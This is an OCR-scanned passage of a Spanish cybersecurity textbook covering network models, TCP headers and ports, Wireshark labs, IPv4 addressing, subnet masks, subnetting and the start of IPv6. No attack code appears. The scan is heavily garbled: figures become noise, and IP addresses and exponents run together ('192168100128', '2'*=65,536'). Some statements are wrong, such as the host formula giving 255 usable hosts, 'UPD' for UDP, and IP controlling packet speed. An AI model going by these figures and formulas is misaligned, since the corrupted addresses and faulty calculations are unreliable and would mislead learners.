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enseñanza aprendizaje, y pueden ser usados como textos en diversos cursos o como 
apoyo para reforzar el desarrollo profesional, de esta forma Alfaomega espera contri- 
buir a la formación y al desarrollo de profesionales exitosos para beneficio de la socie- 
dad, y espera ser su compañera profesional en este viaje de por vida por el mundo del 
conocimiento. 
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% Introducción 


Internet fue originalmente una red transparente de información y conocimiento de libre 
acceso. No era necesario registrarse y abrir cuentas con claves para acceder a la infor- 
mación o servicios. La privacidad y seguridad no eran temas de relevancia sino hasta 
que se comercializó, y nuestros datos personales se propagaron por toda la red. 


De pronto, ya nadie podía asegurar nuestra privacidad. Sucedió entonces que Inter- 
net resultó ser una red vulnerable a ataques cibercriminales. La cibercriminalidad, en 
este sentido, se dio porque era muy sencillo robar identidades y números de nuestras 
tarjetas de crédito. Una de las razones fue porque los programadores principiantes, 
con poca experiencia, creaban aplicaciones sin pensar demasiado en los aspectos de 
seguridad, lo cual derivó en que los piratas cibernéticos fácilmente interceptaran el 
tráfico entre las redes de Internet, además de que pudieran sustraer información de 
los bancos. 


Si comparamos la tecnología actual con la de hace diez años veremos muchos avan- 
ces: podemos cifrar datos traficados entre redes y hacerlos ¡legibles para los piratas. 
Sin embargo, desafortunadamente las tecnologías de los piratas también han avanzado 
y mientras continúe esta tendencia habrá cibercriminales. Se observan por ejemplo 
diariamente 200 mil millones de intentos de ciberataques a las 5 mil corporaciones más 
grandes del mundo. 


Por lo tanto, este libro trata los aspectos de seguridad en el desarrollo de aplicacio- 
nes para Internet, tales como conocimientos y habilidades especiales para diseñarlas 
de manera que sean seguras, programación defensiva y la realización de pruebas de 
penetración. 
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Ámsterdam, Holanda 


Capítulo 1 


Arquitectura 
de red y seguridad 


Objetivos de aprendizaje 


Al final de este capítulo deberás dominar los siguientes conocimientos 
y habilidades: 


Conocimiento básico de protocolos de red 
Conocimiento básico de topologías de red 
Diseño de topologías de red 

Escaneo del flujo de red 
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1.1 + Introducción 


Hay una analogía para proteger una aplicación: la protección del hogar. Primero deseas 
saber cuántas puertas y ventanas hay, cuáles son las vulnerables a los intrusos; cuáles 
son los hábitos: ¿a veces dejas la puerta trasera abierta?, ¿está la llave siempre debajo de 
la alfombra? Cuando aseguramos aplicaciones, se hace exactamente lo mismo. En este 
capítulo analizaremos la arquitectura de red; en el capítulo 2, la arquitectura de Internet. 


1.2 + Arquitectura de red 


Las aplicaciones de red usan protocolos para comunicarse con otras; generalmente, el 
programador se enfoca en el trayecto de desarrollo del software. Al diseñar aplicaciones 
seguras, el programador también debe tener conocimiento de los protocolos implemen- 
tados y las vulnerabilidades asociadas con los mismos. En la siguiente figura se observa 
un escaneo de Wireshark, una herramienta que utilizaremos para escanear y analizar el 
tráfico de red entre redes. 


000 Í Wi-F 
jm £ © IS E EA == EOS 
|A tcpstroam eq 2 
No. Time Source Destination Protocol Length Info 
24 2016-10-27 17:40:51,444355 ci6e6dd4... Gs-MacBook-.. HTTP 611 HTTP/1.1 200 OK 
25 2016-10-27 17:40:51,444448 Gs-MacBo... c1i6e6dd4.he.. TCP 66 59868-http(80) 
26 2016-10-27 17:40:51.504659  Gs-MacBo..  ci6e6dd4.he.. HTTP 365 POST /p HTTP/1. 
| 27 2016-10-27 17:40:51.544814 c16e6dd4... Gs-MacBook-... HTTP 611 HTTP/1.1 200 OK 
28 2916-10-27 17:40:51.544908  Gs-MacBo.. c16e6dd4.he.. TCP 66 59868-http(80) 
29 2016-10-27 17:40:52.316929  Gs-MacBo..  c16e6dd44.he.. HTTP 365 POST /p HTTP/1. 
30 2016-10-27 17:40:52.457407 ci6ebdd4.. Gs-MacBook-.. HTTP 611 HTTP/1.1 200 OK 
31 2016-10-27 17:40:52.457609 Gs-MacBo... ci6e6dd4.he.. TCP 66 59868--http(80) 
1175 2016-10-27 17:40:57.578430 Gs-MacBo... c16e6dd4.he.. HTTP 365 POST /p HTTP/1. 
1176 2016-10-27 17:40:57.620425 ci6ebddí.. Gs-MacBook-.. HTTP 611 HTTP/1.1 200 OK 
1177 2016-10-27 17:40:57.620522 Gs-MacBo.. ci6e6dd4.he.. TCP 66 59868-http(80) 
Frame 28: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface Q 


vyv 


Figura 1.1 Escaneo de la red Wireshark 


Ethernet II, Src: Gs-MacBook-Air.fritz.box (b8:8d:12:14:5c:b2), Dst: fritz.box (9c:c7:a6:c! 
Internet Protocol Version 4, Src: Gs-MacBook-Air.fritz.box (192.168.178.20), Dst: orsp.f-si 
Transmission Control Protocol, Src Port: 59868 (59868), Dst Port: http (88), Seq: 599, Ack 


En la parte inferior de la figura se muestra la siguiente información sobre el paquete de 
datos seleccionado: 


+ Marco 28: 66 bytes en el cable (528 bits), 66 bytes capturados (528 bits) en la 


interfaz O 


+ Protocolo de Internet versión 4, Origen: 


Protocolo de control de transmisión, Puerto de origen: Puerto de destino: 
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A primera vista todo parece confuso, por lo que en los siguientes capítulos descifraremos 
estos códigos. Para analizar el escaneo, primero hay que entender algunos conceptos 
básicos sobre los enlaces de red, tales como: 


Modelos de red 
Protocolos de red 
Paquetes de datos 
Encabezados 
Puertos 
Direcciones de IP 


6 6 4 4. 4» o 


Como se mencionó anteriormente, para proteger un edificio es preciso estudiar sus pla- 
nos y con ello identificar las vulnerabilidades. Un plano de red se llama modelo de red. 


1.2.1 Modelos de red 


A continuación se presentan dos modelos de red: el de Peer to Peer (igual a igual), abre- 
viado a PP, y el de cliente/servidor. 


modelo peer-to-peer modelo cliente/servidor 
py] 
| usuario 1 
f envía correo Í 
al usuario 6 
NA 
usuario 2 24 
envía archivo D— ido usuario 6 
a usuario 1 . recibe y 
reenvía 
al usuario 3 
usuario 3 
recibe 
el correo NA 


Figura 1.2 Modelos de red 


En el modelo igual a igual tenemos dos computadoras que comparten archivos. Algunos 
ejemplos de redes P,P son el compartimiento de archivos con Bit Torrent o mensajería 
instantánea con WhatsApp. En este modelo, ambas computadoras son servidores ya que 
sirven archivos. 


En un modelo cliente/servidor, una computadora es el servidor y las otras son los 
clientes; el servidor suministra archivos y otros datos a estos últimos. Algunos ejemplos 
de redes cliente/servidor son las tiendas en línea y la banca por Internet. 


1.2.2 Enrutadores e interruptores 


Con los conmutadores podemos conectar físicamente a las computadoras dentro de 
una red de área local (LAN), mientras que un enrutador conecta dos o más redes. En la 
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siguiente figura se observa una topología de red: la red 1 con dos computadoras conec- 
tadas a través del enrutador con la red 2. 


enrutador 2 
conmutador 


ea Z ș 
LAN 1 LAN 2 


Figura 1.3 Topología de red 


QDbhos Ss 
E 


Un servidor puede compartir (servir) archivos con las computadoras en su propia red, 
pero también puede hacerlo a través del enrutador a computadoras en otra red; por su 
parte, el enrutador hace esto con la ayuda de protocolos. 


LABORATORIO 11 Diagrama de red 2 


En este ejercicio de laboratorio, te familiarizarás con los dos siguientes 
programas de software: 


Cisco Packet Tracer: https://www.netacad.com/campaign/ptdt-1/ 
o) 
Lucidcharts: https://www.lucidchart.com 


Paso 1: Dibuja la topología en Packet Tracer o Lucidchart como se muestra en la 
configuración de red, en la figura 1.3. 


Paso 2: Agrega una nueva LAN con tres PC. 


1.3 + Protocolos de red 
Los protocolos son reglas y estándares utilizados para conectar dos o más computadoras 
y compartir información y archivos. Un protocolo verifica que todo se realice de acuerdo 


con las reglas. 


En esta sección discutiremos los siguientes protocolos: 
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Tabla 1.1 Protocolos 


Aplicación Protocolo Transporte 
e-mail | SMTP TCP 
Red (Web) | HTTP/HTTPS TCP 
Transferencia de archivos | FTP TCP 
Servidor de nombre de dominio | DNS | UPD 


1.3.1 Protocolo de control de transmisión (TCP) 


El Protocolo de Control de Transmisión (TCP, por sus siglas en inglés) controla las cone- 
xiones de red en una de área local (LAN). Así es como las computadoras se comunican 
dentro de una red. 


Asimismo, TCP controla el tráfico de paquetes de datos (unidad de datos). Imagina que 
envías un gran documento PDF desde tu computadora a otra; TCP divide el documento 


en paquetes de datos más pequeños y luego los envía a la computadora receptora a 
través de una conexión de red. 


Ets 


Figura 1.4 PDF dividido en paquetes de datos 


Apretón de manos TCP 


En la siguiente figura usamos el diagrama de secuencia de UML para mostrar el apretón 
de manos (handshake) de tres vías TCP. UML es el lenguaje de modelado más utilizado 
por los desarrolladores de software para elaborar el diagrama de flujo de sistemas y 
procesos complejos. 


inicia apretón de mano SYNC 


confirma contacto SYNC/ACK 


0 inicia conexión 


comienza el tráfico de datos 


+ 


Figura 1.5 Apretón de manos de tres vías en TCP 
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En este diagrama de secuencia (diagrama de flujo), el cliente y el servidor se conectan 
(handshake), mientras que TCP asegura que los paquetes se reciben en el orden correcto 
en la computadora designada. 


Puertos 


TCP usa un esquema de direccionamiento para permitir que las computadoras se co- 
muniquen dentro de una LAN. Este esquema utiliza números de puerto: la computadora 
transmisora recibe un número y la receptora, un segundo número de puerto. Dichos 
números varían de O a 65535, y se dividen de la siguiente manera: 


Puertos del sistema O — 1023 
Puertos de usuario 1024 — 49151 
Puertos privados/dinámicos 49152 — 65535 


El protocolo garantiza que, si no se recibe un paquete de datos éste se retransmite. 


Encabezado 


TCP envía cada paquete de datos con su respectivo encabezado. Un encabezado contie- 
ne dos tipos de información: en primer lugar, la metainformación sobre el paquete 
relevante, como datos para el envío; en segundo lugar, el contenido o payload (carga útil) 
del paquete. La siguiente tabla muestra la reproducción de la estructura de un encabe- 
zado TCP. 


Tabla 1.2 Estructura de un encabezado TCP 


sourse port (puerto de origen) destination port (puerto de destino) 


sequence number (número de secuencia) 


ACK (número de confirmación) 


banderas 
longitud reservado AIRIS F window (ventana) 
C kS Y l 
KITINJIN 
suma de verificación TCP puntero de urgencia 
opciones 
datos 


A continuación se explica la estructura de los encabezados: 


+ Puerto de origen: Es el de la aplicación o dispositivo que envía el paquete 
+ Puerto de destino: Es el de la aplicación o dispositivo que recibe el paquete 
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+ Número de secuencia: Es el número de orden del paquete 
+ Número de confirmación: Indica el número del siguiente paquete 
+ Banderas 


e ACK: Acusa de recibido el paquete, confirma si el paquete anterior fue recibido 
+ RST: Rechaza el paquete/reinicio de la conexión 

+ SYN: Conexión realizada 

+ FIN: Termina la conexión 


En la siguiente figura observamos en Wireshark el encabezado de un paquete con la 
bandera ACK levantada. 


= SourcePort | DestinationPort | 
Sequence Number 
Acknowledge Number 


| Header | Reserved [_ Flags | 
Length S -$ Window 
[NI N] 


| TCP Checksum 


w Transmission Control Protocol, Src Port: 59868 (59868), Dst Port: http (80), Seq: 599, Ack: 
==" ource Port: 59868 (59868) 
Destination Port: http (80) 
[Stream index: 2] 
[TCP Segment Len: 0] 
Sequence number: 599 (relative sequence number) 
Acknowledgment number: 1091 (relative ack number) 
Header Length: 32 bytes 
w Flags: 0x010 (ACK) 
QOO. sase 2.00. 


Reserved: Not set 
Nonce: Not set 
Congestion Window Reduced (CWR): Not set 
ECN-Echo: Not set 
Urgent: Not set 
Acknowledgment: Set 
Push: Not set 
Reset: Not set 
Syn: Not set 
Fin: Not set 
[TCP Flags: «e Ar] 
Window size value: 65535 
[Calculated window size: 65535] 
[Window size scaling factor: -1 (unknown) ] 
Checksum: Oxeabc [unverified] 
[Checksum Status: Unverified] 
Urgent pointer: 0 
> Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps 
[SEQ/ACK analysis] 


> 


e... seos .«D. 


Dona a n a A $». 


Figura 1.6 Banderas en paquete de datos 


Gabriel Sánchez Cano Seguridad cibernética: Hackeo ético y programación defensiva 7 


Capítulo 1 Arquitectura de red y seguridad Â Alfaomega 


LABORATORIO 1.2 Wireshark fal 
En este ejercicio de laboratorio nos familiarizaremos con Wireshark, que es una 
herramienta para escanear o rastrear paquetes de datos en el tráfico de red y 
analizar los protocolos utilizados en la comunicación de la misma. Wireshark se 
descarga del siguiente enlace: 
https://www.wireshark.org 
lo] 
https://www.wireshark.org/download.html 
Instala e inicia Wireshark, haz doble clic en Wi-Fi: enO para escanear el tráfico 


de datos entre tu PC e Internet. Para ver el tráfico entre tu PC y tu servidor local, 
selecciona Loopback: loO. 


Welcome to Wireshark 
Capture 
„using this filter: | [Enter a capture filter .. e] 


Thunderbolt Bridge: bridge0 ¡q AAA 
p2p0 

awdlO 

utun0 

Thunderbolt 1: en1 

Thunderbolt 2: en2 

Loopback: lo0 


Figura 1.7 Wireshark y encabezados TCP 


Ahora selecciona Wi-Fi: enO y escanea el tráfico de datos entre tu PC y google.com; 
se podría ver algo como en la siguiente figura: 
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1.3 Protocolos de red 


eco Æ Capturing from Wi-Fi: enO 
mE a e RO IES SFIR» 
[A | Apply a display fiker ... <38/> EJ >| Expressin. + 
No. Time Destination Protocol Lergth Info 
1 0.000000 192.168., 178. 44 TCP 1453 80 - 58196 [PSH, AC. 
2 0.000217 145.58.52.152. TP 54 58196 - 80 [ACK] Se. 
3 0.000447 192. 168., 178. 44 TCP 1454 80 - 58196 [PSH, 
4 0.000455 145.50.52.152 192. 168, 178. 44 TCP 1454 80 - 58196 [PSH, AC. 
5 0.000557 192. 168. 178.44 145.58.52.152 TCP 54 58196 - 80 [ACK] Se. 
6 0.000596 192.168, 178.44 145.58.52.152 TCP 54 58196 - 80 [ACK] Se. 
7 0.155578 145.58.52.152 192. 168. 178. 44 TCP 1454 80 - 58196 [PSH, AC. 
A A.155ñA79 197.18.178.44 145.58.57.152 TP KA SRIQA - RA [ArkKl Se 


> Frame 2: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0 
> Ethernet II, Src: Apple_d8:b1:cd (c4:b3:01:48:b1:cd), Dst: Avm_c5:75:9e (9c:c7:a6:c5:75:9e) 
» Internet Protocol Version 4, Src: 192.168.178.44, Dst: 145.58.52.152 
v Transmission Control Protocol, Src Port: 58196, Dst Port: 80, Seq: 1, 

Source Port: 58196 

Destination Port: 8% 

[Strean index: 0) 

[TCP Segment Len: 0] 

Sequence number: 1 (relative sequence number) 

Acknowledgnent number: 1400 (relative ack number) 

Header Length: 20 bytes 

> Flags: 0x010 (ACK) 

Window size value: 8148 

[Calculated window size: 8148] 

[Window size scaling factor: -1 (unknown) ] 

Checksum: 0xc7c7 [unverified] 

[Checksum Status: Unverified] 


¿© Y Transmission Control Protocol (tcp), 20 bytes. Packets:3543-/Displayed: 3543 (10.0%) - Profie: Default 


Ack: 1400, Len: 9 


Figura 1.8 Encabezado de un paquete de datos en Wireshark 
En el siguiente enlace encontrarás más documentación sobre Wireshark: 
https://www.wireshark.org/docs/wsug_html_chunked/Chapterlntroduction.html 
Inicia tu propia aplicación en el servidor local (localhost). Selecciona la opción 


Loopback en Wireshark para escanear el flujo de datos entre tu computadora 
portátil y tu servidor local. 


A | Apply a display filter ... <3/> 


Capture 


„Using this filter: | A | Enter a capture filter ... 


utunO 
Thunderbolt 1: en? 
Thunderbolt 2: en2 


Loopback: lo0 


Figura 1.9 Loopback: Io0 para localhost 
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Examina con más detenimiento a Wireshark para explorar el siguiente tutorial de 
YouTube en Wireshark: 


https://www.youtube.com/watch?v=TkCSr30UojM 


1.3.2 Protocolo de transferencia de archivos (FTP) 


FTP es un protocolo para transferir archivos de computadora entre un cliente y un servi- 
dor en una red informática. El protocolo realiza los siguientes pasos: 


1. El cliente FTP se pone en contacto con el servidor FTP a través del puerto 21 
y especifica el protocolo de transporte TCP 


2. El cliente obtiene la conexión 
3. El cliente envía una solicitud de archivo al servidor de archivos 


4. El servidor de archivos abre una conexión TCP con el cliente y ejecuta la 
transferencia de los mismos 


5. Después de la transferencia de archivos, el servidor de archivos finaliza 
la conexión 
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Capítulo 2 


Arquitectura 
de Internet 


Objetivos de aprendizaje 


Al final de este capítulo deberás dominar los siguientes conocimientos 
y habilidades: 


+ Protocolo de Internet (IP) 


- IPv4 
- IPv6 


+ Componentes del enrutador 

- Protocolo de host dinámico (DHCP) 

- Firewalls 

- Traducción de direcciones de red (NAT) 
+ Sistema de nombre de dominio (DNS) 


+ Protocolo de transferencia de hipertexto (HTTP) 
+ Simulación de Man-In-the-Middle (MIM) 


A 
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2.1 + Introducción 


Internet es una arquitectura regulada por una serie de protocolos; algunos de ellos, como 
los protocolos de red, son reglas y estándares que se utilizan para moderar su tráfico. Un 
protocolo también verifica que todo se ejecute de acuerdo con las reglas. 


2.2 + Protocolo de Internet (IP) 


Internet funciona como el sistema postal nacional: envías un correo con la dirección del 
remitente y la del destinatario; en la oficina postal, el correo se ordena y se envía a la 
dirección correcta por la ruta específica. 


Internet es la red de redes donde aquellas que son globales se comunican entre sí; 
de modo que esta herramienta se llama también “autopista digital”. Piensa en las redes 
de carreteras y cómo se conectan con el resto; tienes además un punto de partida, 
controles de velocidad y un punto de llegada, y cuentas con un sistema de navegación 
que calcula rutas alternativas para problemas de tráfico. Internet funciona exactamente 
de la misma manera. 


Supongamos que deseas enviar una foto de tus vacaciones desde tu teléfono inte- 
ligente al de tu amigo. IP verifica el direccionamiento, el empaquetado de la foto y la 
velocidad de los paquetes de datos. Si la foto es muy grande, entonces se envía por IP en 
partes, que de hecho son los paquetes de datos. 


Figura 2.1 Paquetes de datos 
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Los paquetes de datos se envían a través de diferentes rutas (mediante los enrutadores 
que conforman la red). Cada paquete contiene las direcciones IP del remitente y del 
destinatario. Finalmente, todos los paquetes llegan a su destino por diversas vías y se 
ensamblan de nuevo a la foto original. El protocolo de Internet se muestra esquemáticamen- 
te en la siguiente figura. 


Figura 2.2 Protocolo de Internet 


En la figura se observa que se han utilizado rutas alternativas entre el punto de partida y 
el de llegada, que evitan los servicios de trabajo y los problemas de tráfico. 


IP también verifica la velocidad de los paquetes de datos: por ejemplo, los de sonido 
se transportan más rápido que los paquetes de video o texto. 


El protocolo de Internet (IP) utiliza TCP y también se conoce como el conjunto de TCP/IP. 


IP especifica el formato de los paquetes de datos (datagramas) y el esquema de direc- 
cionamiento dentro de la red. De acuerdo con este esquema, cada dispositivo conectado 
a Internet obtiene una dirección única a la que se llama IP. Las direcciones IP hacen posi- 
ble conectar computadoras entre sí. 


En las siguientes secciones estudiamos: 
+ Las direcciones IP 
+ Las máscaras de subred 
+ Las compuertas gateway estándar 
Una red es una colección de anfitriones (computadoras) con su propio dominio (direc- 


ción). Todos los anfitriones dentro de una red comparten la misma dirección, máscara de 
subred y compuerta estándar, elementos que se estudiarán más adelante. 
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2.2.1 Direcciones IP 


Si te diriges a la terminal del sistema en tu computadora y luego tecleas ipconfig (o ifcon- 
fig para MAC y Linux) verás la dirección IP como se muestra a continuación. 


(SEOKS) e 


Pauls-MacBook-Pro:- Paul$ ifconfig 

100: flags=8949<UP , LOOPBACK , RUNNING, MULTICAST> mtu 16384 
options=3<RXCSUM, TXCSUM> 
inet6 fe80::1%l00 prefixlen 64 scopeid 6x1 
inet 127.0.0.1 netmask 0xff000900 
inet6 ::1 prefixlen 128 

gifo: flags=8010<POINTOPOINT,MULTICAST> mtu 1280 

stf0: flags=9<> mtu 1280 

en0: flags=8963<UP, BROADCAST, SMART RUNNING, PROMISC,SIMPLEX,MULTICAST> mtu 1509 
ether 28:cf:e9:15:96:4d 
inet6 fe80::2acf:e9ff:fe15:964d%en0 prefixlen 64 scopeid 0x4 
inet 192.168.0.109 netmask OxffffTf09 broadcast 192.168.0.255 
media: autoselect 
status: active 

p2p09: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 2304 
ether 0a:cf:e9:15:96:4d 
media: autoselect 
status: inactive 

vnicO0: flags=8843<UP , BROADCAST , RUNNING, SIMPLEX,MULTICAST> mtu 1590 
options=3<RXCSUM, TXCSUM> 
ether 00:1c:42:00:00:08 
inet 10.211.55.2 netmask Oxffffff00 broadcast 10.211.55.255 
media: autoselect 
status: active 


Figura 2.3 Configuración de IP 


Se muestra como dirección IPv4 192.168.040. 


2.2.2 IPv4 


IPv4 (Protocolo de Internet versión 4) es la infraestructura de direcciones actual de In- 
ternet. Una dirección IPv4 consta de 32 bits con un máximo de poco más de cuatro mil 
millones de direcciones IP. Debido a que Internet of Things se desarrolla cada vez más 
rápido (cada dispositivo obtiene su propia dirección) Internet debe implementar la nueva 
infraestructura IPv6; ésta consta de 128 bits y produce 340 sextillones de direcciones 
(340 con 36 ceros), posteriormente se tratará este tipo. 


Un ejemplo de dirección IPv4 es: 192.168.10.10. Una dirección de este estilo consta de 
cuatro números (entre O y 255) separados por puntos; una parte identifica a la red y la 
otra un host único (computadora, impresora o tableta) en la red. La computadora muestra 
direcciones IPv4 con cuatro octetos binarios (bytes), a su vez un octeto (byte) consta de 
ocho números (bits), y cada bit puede estar activado o desactivado (O=desactivado, l=ac- 
tivado). El valor de un bit depende de la posición en el octeto (byte). 


En el siguiente byte (octeto), el octavo y el segundo bit están activados, eso significa 
que: 8 + 2=10. 
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Tabla 2.1 Byte (octeto) 


10 
ms [6 [3211618142]: 
0 | 0 | 0 | 0) | 1 | (0) | 1 0 
Bit 

Byte 

Octeto 


En el siguiente byte (octeto) todos los bits están activados, eso significa que: 
128+64+32+16+8+4+2+1= 255. 


Tabla 2.2 Byte (octeto) activados 


128 sa 132 116 18 4 YE 


1 alajafajairja 


En la siguiente tabla, vemos una representación esquemática de la dirección IPv4 
1921681010, dividida en una parte de red y otra de host. 


Tabla 2.3 Dirección IPv4 


ID de la red ID del host 
192. | 168. | 10. 10 
IPv4 11000000 | 10101000 | 00001010 00001010 
Ciudad | Número de casa 


Supongamos que la parte de red es la ciudad y la parte del host es el número del hogar. 
En este caso, hay demasiados números de casa, más de los que necesitamos. Por lo tan- 
to, en la siguiente figura tomamos prestado un octeto de la parte del host y lo pasamos 


a la red. Imagina un octeto de las calles, entonces obtendremos una ciudad con calles y 
números de casas. 


Tabla 2.4 Octeto de calles 


ID de la red ID del host 
192. | 168. 10. 10 
IPv4 11000000 | 10101000 00001010 | 00001010 
Ciudad | calle Número de casa 


Gabriel Sánchez Cano Seguridad cibernética: Hackeo ético y programación defensiva 15 


Capítulo 2 Arquitectura de Internet 


16 


A 
ÁA Alfaomega 


Con dos octetos con 16 bits podemos tener 2'*=65,536 anfitriones posibles. Todavía 
existen muchos anfitriones (hosts) para una sola red. En la siguiente tabla, tomamos 
otro octeto de la parte del host; esto se muestra así: 


Tabla 2.5 Octeto del host 


| ID de la red 


| ID del host 
IPv4 | 192. 168. 10. | 10 
| 11000000 10101000 | 00001010 | 00001010 


Con un octeto de 8 bits tenemos 2%=256 direcciones de anfitriones posibles (host), de 
las cuales 254 se pueden usar en nuestra red. Esta opción es la más realista. 


2.2.3 Máscara de subred 


Una computadora debe poder distinguir la parte de la red y la del host de la dirección 
IP, para lo cual se usa la llamada máscara de subred; para encontrar la estándar de una 


dirección IP, usamos la siguiente tabla: 


Tabla 2.6 Clases de direcciones IP 


Clase Serie Prefijo CIDR estándar 
A 1-126 /8 
B 128-191 /16 
G 192-223 124 
D 224-239 Multitarea 
E 240-255 Experimental 


Q ATENCIÓN 


Verás que 127 no aparece en la columna de la serie, ya que es el loopback. Se usa como 
loopback 127.0.0.0 hasta 127255.255.255 para probar nuestras aplicaciones y enrutadores. 
Por ejemplo, utilizamos 127.0.0.1 como servidor web host local para este cometido. 


En la tabla 2.6 se observan las clases divididas en series determinadas por el primer oc- 
teto de cada dirección IP. En la tercera columna vemos el prefijo estándar CIDR (Classless 
Inter Domain Routing o enrutamiento entre dominios sin clase). Usamos el prefijo CIDR 
para determinar la máscara de subred de la siguiente manera: 


En nuestra dirección IP 192.168.1010, el primer octeto es 192. Esto hace que se trate de 
una dirección de clase C con un prefijo CIDR de 24; el prefijo CIDR indica que los prime- 
ros 24 bits de la máscara de subred deben ser unos (1). 
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En la máscara de subred, conviertes los primeros 24 bits en unos (1) y el resto en ceros (0). 
Esto se muestra de la siguiente manera: 


Tabla 2.7 Conversión en máscara de subred 


ID de la red ID del host 
IPv4 192. 168. 10. 10 
11000000 10101000 00001010 00001010 
Misai 255. 255. 255. 0 
de subred 11mm 11111111 11111111 00000000 


Nuestra máscara de subred es: 255.255.255.0 
De acuerdo con lo anterior, se ha enmascarado el ID de la red como: 192.1681010. 


El componente del host indica que podemos alojar de 1a 255 computadoras. 


Número de anfitriones 
Calculamos las direcciones IP disponibles para los anfitriones por cada red con la siguien- 


te fórmula: 
Anfitriones=255 menos el valor en el último octeto de la máscara de subred 


En nuestro caso, esto es: 255-0= 255 anfitriones 


Libro encontrado en: www.eybooks.com 


Número de subredes 
Por otra parte, también podemos verificar el número de subredes con la siguiente fórmula: 


Subredes= 2”, 


donde n es el número de unos (1) en el último octeto de la máscara de subred. 


En nuestro caso, esto es: subred=2%=1 subred. 


La siguiente tabla es un resumen de esta sección: 


Tabla 2.8 Resumen 


; g Direcciones de host disponibles Dirección de transmisión 
Dirección de red i : 
desde. . . hasta (Ta más alta en la serie) 


192:168.10.0 192168101... 19216810.254 192168.10.255 
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+ La dirección de la red es: 192168.:10.0 
+ La dirección IP es: 192168.10.10 
+ La dirección de transmisión es: 192168.10.255 


La dirección más alta en una subred es la de transmisión: consiste en la dirección de 
la red más todos los unos (1) en la ID del host; en el ejemplo, entonces es 255. Un host 
utiliza la dirección de transmisión para enviar el mismo mensaje a todos los anfitriones en 
la subred al mismo tiempo. Muchos protocolos del conjunto de protocolos TCP/IP usan 
esta funcionalidad. 


2.2.4 Subredes 


En las subredes, dividimos la parte del host de la dirección de IP en dos partes: una de la 
subred y la otra del host. 


Toma, por ejemplo, la siguiente dirección IP: 192.168.100.97/26 


El prefijo CIDR/26 señala que los primeros 26 bits de la máscara de subred deben ser 
unos (1). 


En la máscara de subred, conviertes los primeros 26 bits en unos (1) y el resto en ceros 
(0). Esto se muestra en la siguiente tabla: 


Tabla 2.9 Conversión 


ÁA Alfaomega 


ID de la red ID subred ID host 
IPv4 192. 168. 100. 97 
11000000 10101000 01100100 01 100001 
Mea 255. 255. 255. 192 
de subred 11111111 11111111 11111111 1 000000 


La dirección IP es: 192168:100.97 


La máscara de subred es: 255.255.255192 


Número de direcciones IP por subred 


Calculamos las direcciones IP disponibles para los anfitriones por cada subred con la 
siguiente fórmula: 


Direcciones IP= 256 menos el valor en el último octeto de la máscara de subred 


En nuestro caso, esto es: 256-192 = 64 
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Estos son 64 anfitriones posibles por cada subred. 


Lo anterior nos da las siguientes cuatro subredes: 


Subred 1 O a 63 
Subred 2 64 a 127 
Subred 3 128 a 191 
Subred 4 192 a 255 


Número de subredes 


Por otro lado, también podemos verificar el número de subredes mediante la siguien- 
te fórmula: 


Subredes=2", 

donde n es el número de unos (1) en el último octeto de la máscara de subred. 
En nuestro caso, esto es: subredes=2*=4, 
Estas son, de hecho, cuatro subredes. 


En la siguiente tabla observamos que la primera subred tiene 64 direcciones IP dispo- 
nibles, donde O (la primera) es la dirección de la subred y 63 (la última) la de transmisión. 


Tabla 2.10 Series por subred 


Dirección de 
Número de | Dirección de subred | Direcciones de host disponibles as , 
. f i . transmisión (la más 
serie (63) | (la más baja en serie) desde. . . hasta y 
alta en la serie) 
0...63 192168.100.0 192.168.1001..192.168.100.62 192.:168.100.63 
64..127 192.1168.100.64 192.168.100.65...92.168.100.126 192168100127 
128..191 192168100128 192168100129..192168100190 192168100191 
192...255 192168100192 192168100193..192 168.100.244 192168100.255 


Nuestra dirección IP 192168.100.97 está situada en la segunda serie y pertenece al host 97. 
+ La dirección de subred es: 192:168.100.64 


+ La dirección IP es:192168.100.97 
+ La dirección de transmisión es: 192168.100.127 
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LABORATORIO 241 Cálculo de dirección A 


En este ejercicio de laboratorio, calcula la dirección correcta para IP 
192.168.100.50/25 y proporciona las respuestas. 


+ La dirección de subred es: 
+ La máscara de subred es: 
+ La dirección de transmisión es: 


2.2.5 Compuerta estándar 


Nuestra computadora 192 168.100.97 puede comunicarse directamente con todas las de 
la serie 64..127, pero si desea comunicarse con una de otra red o subred, por ejemplo 
172.16.0.2, es necesario un enrutador o una compuerta. 


Nuestro enrutador local es la conexión con los enrutadores externos de otras redes, 
se denomina default gateway (compuerta predeterminada, salida) y se especifica auto- 
máticamente al configurar un host. Los enrutadores se encargan de enviar la información 
a la red y host correctos. 


En la siguiente topología conectamos computadoras dentro de una red con interrupto- 
res y a las redes con enrutadores. 


Red 1 Red 2 


o. a 


13210883 16883 s a 1688.1 19216880 172160.0 1721601 721602 m 
= a ë 
192.168.8.4 172.186.0.4 17216.03 


Figura 2.4 Los enrutadores son las compuertas 


El administrador de redes configura un enrutador con la máscara de subred y dirección 
correctas de la compuerta, las cuales varían de una red a otra. 


LABORATORIO 2.2 Enrutadores e interruptores 2 
En este ejercicio de laboratorio, dibuja la topografía del Laboratorio 11 con la herramienta 


Packet Tracer o con Lucidcharts. Los enrutadores y conmutadores deben configurarse 
con las direcciones IP correctas. 
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2.2.6 IPv6 


IPv6, Protocolo de Internet versión 6, es la respuesta al creciente número de usuarios y 
equipos que usan Internet. Una dirección de este tipo consta de 128 bits y proporciona 


340 sextillones de direcciones IP. En esta sección se tratará lo siguiente: 


+ è è e 


Formato de dirección IPv6 
Regla 1: Ceros a la izquierda 
Regla 2: Dos puntos dos veces:: 
Prefijo de red 


Notación hexadecimal 


Escribimos direcciones IPv6 en notación hexadecimal, lo que significa literalmente 16 ve- 
ces. Trabajamos con los números del O al 9 y las letras de A a F. En la siguiente tabla se 
muestra el decimal y los números hexadecimales y binarios correspondientes: 


Tabla 2.11 Números decimales, hexadecimales y binarios 


Decimal Hexadecimal Binario 
0 0 0000 
1 1 0001 
2 2 0010 
3 3 0011 
4 4 0100 
5 5 0101 
6 6 0110 
7 7 0111 
8 8 1000 
9 9 1001 
10 A 1010 
11 B 1011 
12 C 1100 
13 D 1101 
14 E 1110 
15 F 1111 


Un número hexadecimal consta de 4 bits binarios y no distingue entre mayúsculas y mi- 
núsculas; entonces 3FFE es lo mismo que 3ffe. 
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Tabla 2.12 Números hexadecimales y binarios 


Hexadecimal 3 | f | f | E 


Binario 0011 | 1111 | 1111 | 1110 


